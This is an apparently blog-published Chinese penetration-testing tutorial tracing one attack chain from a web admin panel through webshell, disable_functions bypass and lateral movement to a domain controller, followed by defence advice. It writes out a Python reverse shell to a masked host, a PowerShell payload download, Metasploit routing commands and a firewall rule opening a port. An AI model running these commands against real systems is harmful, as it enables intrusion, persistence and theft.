细说渗透江湖之披荆斩棘
字数 1842 2025-08-15 21:32:37

渗透测试实战教学:从Web渗透到内网横向移动

1. 信息收集阶段

1.1 基础信息收集

  • 端口扫描:识别开放端口和服务
  • C段扫描:检查同一IP段的关联系统
  • 指纹识别:使用工具如whatweb识别CMS版本
  • 路径枚举:通过目录扫描发现隐藏路径
  • 搜索引擎利用:使用FOFA等网络空间搜索引擎
  • 代码泄露检查:Github、网盘等公开代码仓库

1.2 403页面突破

  • 直觉判断403页面可能隐藏内容
  • 使用目录爆破工具扫描潜在路径
  • 成功发现/admin后台管理目录

2. Web应用渗透

2.1 后台登录突破

  1. 指纹识别:确认CMS为最新版本,无已知漏洞
  2. 弱口令爆破
    • 初始字典尝试失败
    • 结合客户信息生成针对性字典(人名+键盘模式密码)
    • 成功获取后台凭证

2.2 文件上传绕过尝试

  • 测试正常文件上传功能
  • 尝试多种PHP文件上传绕过技术:
    • 双写绕过
    • 大小写变异
    • 垃圾字符填充
    • 截断攻击
    • 换行符注入
    • 双filename技巧
  • 均失败,转向代码审计

3. 代码审计与漏洞利用

3.1 发现SQL执行漏洞

  • 定位关键文件:app/system/databack/admin/index.class.php
  • 漏洞位置:第581行备份数据功能
  • 漏洞原理:恶意SQL文件上传并执行

3.2 获取绝对路径

  • 通过JS文件搜索"path"关键字
  • 成功获取网站绝对路径

3.3 SQL写Webshell

  1. 构造恶意SQL文件写入一句话木马
  2. 上传冰蝎连接工具
  3. 发现命令执行被禁用

4. 绕过disable_functions

4.1 环境分析

  • 查看phpinfo发现禁用函数列表:
    passthru,exec,system,chroot,chgrp,chown,shell_exec,
    proc_open,proc_get_status,popen,ini_alter,ini_restore,
    dl,openlog,syslog,readlink,symlink,popepassthru
    
  • 关键发现:putenv未被禁用

4.2 LD_PRELOAD绕过技术

  1. 基本原理

    • 利用Linux的sendmail程序
    • PHP mail()函数调用/usr/sbin/sendmail
    • sendmail调用getuid()
    • 通过LD_PRELOAD劫持getuid()
  2. 必要条件

    • PHP支持putenv()和mail()函数
    • 系统已安装并启用sendmail
  3. 实施步骤

    • 上传恶意.so文件(bypass_disablefunc_x64.so)
    • 上传执行命令的PHP脚本
    • 通过环境变量注入实现命令执行

5. 内网渗透初探

5.1 建立持久访问

  • 使用Python反弹shell:
    python -c 'import socket,subprocess,os; 
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); 
    s.connect(("xxx.xxx.xxx.xxx",port)); 
    os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); 
    os.dup2(s.fileno(),2); 
    p=subprocess.call(["/bin/bash","-i"]);'
    

5.2 MSF框架使用

  1. 设置本地HTTP服务传输elf木马
  2. MSF监听并获取meterpreter会话
  3. 内网路由配置:
    run get_local_subnets  # 获取网段信息
    run autoroute -s xxx.xxx.xxx.xxx/24  # 添加路由
    run autoroute -p  # 查看路由表
    

6. 内网横向移动

6.1 MS17-010漏洞利用

  • 初始利用失败,更换payload:
    set payload windows/x86/shell/bind_tcp
    
  • 成功获取内网机器权限

6.2 Cobalt Strike部署

  1. 通过PowerShell下载:
    "(new-object System.Net.WebClient).DownloadFile('http://xxx.xxx.xxx.xxx:port','C:\Windows\system32\')"
    
  2. 遇到连接问题排查:
    • 防火墙规则配置:
      netsh advfirewall firewall add rule name=cs dir=in action=allow protocol=TCP localport=6666
      

6.3 密码哈希攻击

  • 抓取NTLM哈希
  • 使用Pass-the-Hash(PtH)技术横向移动
  • 获取多台Windows主机权限

7. 域渗透技术

7.1 域环境发现

  1. 基础命令:
    net time /domain
    ipconfig /all
    nslookup 域名
    
  2. 确认域控存在

7.2 域控攻击路径

  1. 检查Kerberos漏洞(如MS14-068)
  2. 抓取域管密码哈希
  3. 成功登录域控制器

8. 关键工具总结

工具/技术 用途
Dirbuster/dirsearch 目录扫描
WhatWeb Web指纹识别
Hydra 弱口令爆破
MSF 漏洞利用框架
Cobalt Strike 内网渗透
LD_PRELOAD 绕过disable_functions
PtH 哈希传递攻击

9. 渗透测试关键原则

  1. 信息收集是核心:贯穿整个渗透过程
  2. 多层突破思维:当一种方法失败时尝试替代方案
  3. 权限维持意识:确保获得的访问不会轻易丢失
  4. 横向移动策略:由外向内逐步深入
  5. 痕迹清理:完成后清除攻击痕迹(本文未展示)

10. 防御建议

  1. Web应用层

    • 严格文件上传过滤
    • 后台管理多重认证
    • 禁用不必要的PHP函数
  2. 系统层

    • 及时修补MS17-010等漏洞
    • 限制命令执行权限
    • 监控异常进程
  3. 域环境

    • 启用LSA保护
    • 限制域管理员权限
    • 监控Kerberos异常请求
  4. 网络层

    • 实施网络分段
    • 监控内网横向流量
    • 限制出站连接

本教学文档完整还原了一次从Web渗透到内网域控的完整攻击链,涵盖了多种渗透测试技术和工具的使用方法,可作为高级渗透测试实战参考。

渗透测试实战教学:从Web渗透到内网横向移动 1. 信息收集阶段 1.1 基础信息收集 端口扫描 :识别开放端口和服务 C段扫描 :检查同一IP段的关联系统 指纹识别 :使用工具如whatweb识别CMS版本 路径枚举 :通过目录扫描发现隐藏路径 搜索引擎利用 :使用FOFA等网络空间搜索引擎 代码泄露检查 :Github、网盘等公开代码仓库 1.2 403页面突破 直觉判断403页面可能隐藏内容 使用目录爆破工具扫描潜在路径 成功发现/admin后台管理目录 2. Web应用渗透 2.1 后台登录突破 指纹识别 :确认CMS为最新版本,无已知漏洞 弱口令爆破 : 初始字典尝试失败 结合客户信息生成针对性字典(人名+键盘模式密码) 成功获取后台凭证 2.2 文件上传绕过尝试 测试正常文件上传功能 尝试多种PHP文件上传绕过技术: 双写绕过 大小写变异 垃圾字符填充 截断攻击 换行符注入 双filename技巧 均失败,转向代码审计 3. 代码审计与漏洞利用 3.1 发现SQL执行漏洞 定位关键文件: app/system/databack/admin/index.class.php 漏洞位置:第581行备份数据功能 漏洞原理:恶意SQL文件上传并执行 3.2 获取绝对路径 通过JS文件搜索"path"关键字 成功获取网站绝对路径 3.3 SQL写Webshell 构造恶意SQL文件写入一句话木马 上传冰蝎连接工具 发现命令执行被禁用 4. 绕过disable_ functions 4.1 环境分析 查看phpinfo发现禁用函数列表: 关键发现:putenv未被禁用 4.2 LD_ PRELOAD绕过技术 基本原理 : 利用Linux的sendmail程序 PHP mail()函数调用/usr/sbin/sendmail sendmail调用getuid() 通过LD_ PRELOAD劫持getuid() 必要条件 : PHP支持putenv()和mail()函数 系统已安装并启用sendmail 实施步骤 : 上传恶意.so文件(bypass_ disablefunc_ x64.so) 上传执行命令的PHP脚本 通过环境变量注入实现命令执行 5. 内网渗透初探 5.1 建立持久访问 使用Python反弹shell: 5.2 MSF框架使用 设置本地HTTP服务传输elf木马 MSF监听并获取meterpreter会话 内网路由配置: 6. 内网横向移动 6.1 MS17-010漏洞利用 初始利用失败,更换payload: 成功获取内网机器权限 6.2 Cobalt Strike部署 通过PowerShell下载: 遇到连接问题排查: 防火墙规则配置: 6.3 密码哈希攻击 抓取NTLM哈希 使用Pass-the-Hash(PtH)技术横向移动 获取多台Windows主机权限 7. 域渗透技术 7.1 域环境发现 基础命令: 确认域控存在 7.2 域控攻击路径 检查Kerberos漏洞(如MS14-068) 抓取域管密码哈希 成功登录域控制器 8. 关键工具总结 | 工具/技术 | 用途 | |----------|------| | Dirbuster/dirsearch | 目录扫描 | | WhatWeb | Web指纹识别 | | Hydra | 弱口令爆破 | | MSF | 漏洞利用框架 | | Cobalt Strike | 内网渗透 | | LD_ PRELOAD | 绕过disable_ functions | | PtH | 哈希传递攻击 | 9. 渗透测试关键原则 信息收集是核心 :贯穿整个渗透过程 多层突破思维 :当一种方法失败时尝试替代方案 权限维持意识 :确保获得的访问不会轻易丢失 横向移动策略 :由外向内逐步深入 痕迹清理 :完成后清除攻击痕迹(本文未展示) 10. 防御建议 Web应用层 : 严格文件上传过滤 后台管理多重认证 禁用不必要的PHP函数 系统层 : 及时修补MS17-010等漏洞 限制命令执行权限 监控异常进程 域环境 : 启用LSA保护 限制域管理员权限 监控Kerberos异常请求 网络层 : 实施网络分段 监控内网横向流量 限制出站连接 本教学文档完整还原了一次从Web渗透到内网域控的完整攻击链,涵盖了多种渗透测试技术和工具的使用方法,可作为高级渗透测试实战参考。